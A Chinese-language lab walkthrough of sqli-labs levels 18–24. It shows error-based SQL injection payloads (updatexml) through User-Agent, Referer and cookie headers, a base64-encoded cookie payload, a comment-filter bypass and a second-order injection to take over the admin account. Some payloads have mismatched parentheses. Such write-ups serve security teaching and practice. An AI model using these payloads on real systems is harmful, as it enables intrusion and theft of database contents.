以sqlilabs靶场为例,讲解SQL注入攻击原理【18-24关】

【less-18】

打开时,获取了自己的IP地址。,通过分析源码知道,会将用户的user-agent作为参数记录到数据库中。

提交的是信息有user-Agent、IP、uname信息。

此时可以借助Burp Suite 工具,修改user_agent,实现sql注入。

最后得到数据库名:security。

解题步骤:

bash 复制代码
//第一步获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1) -- +  

//第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1,1) -- + 

//第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1),1,1) -- +

【less-19】

与less-18,唯一的区别是,提交的信息不再是user-agent,而是referer。

解题步骤:

bash 复制代码
//第一步获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1) -- +  


//第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1,1) -- + 

//第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1),1,1) -- +

【less-20】

从上图的信息可以看出登录之后,记录的信息是类似的,根据前两题的经验,尝试使用user-agent、referr、cookie信息进行注入。

经过验证将抓包的cookie进行更改

改为:

结果为:

其他步骤:

bash 复制代码
# 第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- + 

# 第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1) -- +

【less-21】

通过抓包和源码分析可以得出:less-21使用的是cookie,而且还是base64加密的。

和Less-20注入原理相同,不同的是在修改cookie时,先转成base64的值。

先将注入编码进行base64编码。

然后再把编制的码代入到cookie中。

出现错误,是因为"-- +"在进行base64编码时出现了问题。

可以将"-- +" 替换为 '1' = '1

具体代码:

bash 复制代码
admin 'and updatexml(1,concat(0x7e,(select database(),0x7e),1) -- +

#改为

admin 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

#对应的base64编码

YWRtaW4gJ2FuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE=

调试结果:

其他步骤和Less-20类似,区别都是要变成base64加密。

bash 复制代码
# 第二步获取数据表名
admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and '1'='1

# 第三步获取数据表字段
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1) and '1'='1

【less-22】

通过分析源码得知,基本Less-21相似,唯一的区别就是单引号变成了双引号。

解题步骤和Less-21相同。

bash 复制代码
#第一步获取数据库

admin "and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "1"="1

# 第二步获取数据表名
admin" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and "1"="1

# 第三步获取数据表字段
admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="emails" ),0x7e),1) and "1"="1

结果:

【less-23】

less-23是一种GET方式的注入,使用之前的方式,发现无法注入,分析源码,得知之前用的 注释(-- 和# 都被替换了空)。

此时尝试一种新的注释方式: '1' ='1 以消除原本SQL语句中的引号。

解题方法:

bash 复制代码
# 获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

# 获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),1) or '1'='1

# 获取数据字段
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e),1) or '1'='1

结果为:

【less-24】

less24是一个二次注入的案例。

分析源码:

可以看出只有用户名(username)没有用mysql_real_escape_string()对特殊字符进行转义。

解题步骤:

1.注册admin用户

2.登录并修改admin密码

3.尝试使用admin账号和新密码登录,破解管理员账号。

相关推荐
你好,帅哥13 分钟前
openssl ,msys2 ,交叉编译
linux·运维·服务器
计算机安禾23 分钟前
【Linux从入门到精通】第36篇:DNS服务探秘——自己搭建一个内网DNS
linux·运维·servlet
Irene199140 分钟前
SQL示例:为什么同样的条件需要重复两次排序
sql
有味道的男人1 小时前
对接亚马逊平台接口,商品全量信息一键抓取
数据库
Web极客码1 小时前
2026年Linux VPS安全加固清单:SSH、防火墙与审计就绪配置
运维·服务器·数据库
星恒讯工业路由器2 小时前
配网自动化多网融合应用解决方案
运维·自动化
智慧物业老杨2 小时前
智慧物业收费系统的数智化落地实践:从人工硬扛到自动化闭环
运维·自动化
王大傻09282 小时前
WASC 团队报告的安全威胁分类
网络·安全·web安全
techdashen2 小时前
Cloudflare 为何抛弃 NGINX,用 Rust 自研了一个代理
运维·nginx·rust
橘子海全栈攻城狮2 小时前
【最新源码】养老院系统管理A013
java·spring boot·后端·web安全·微信小程序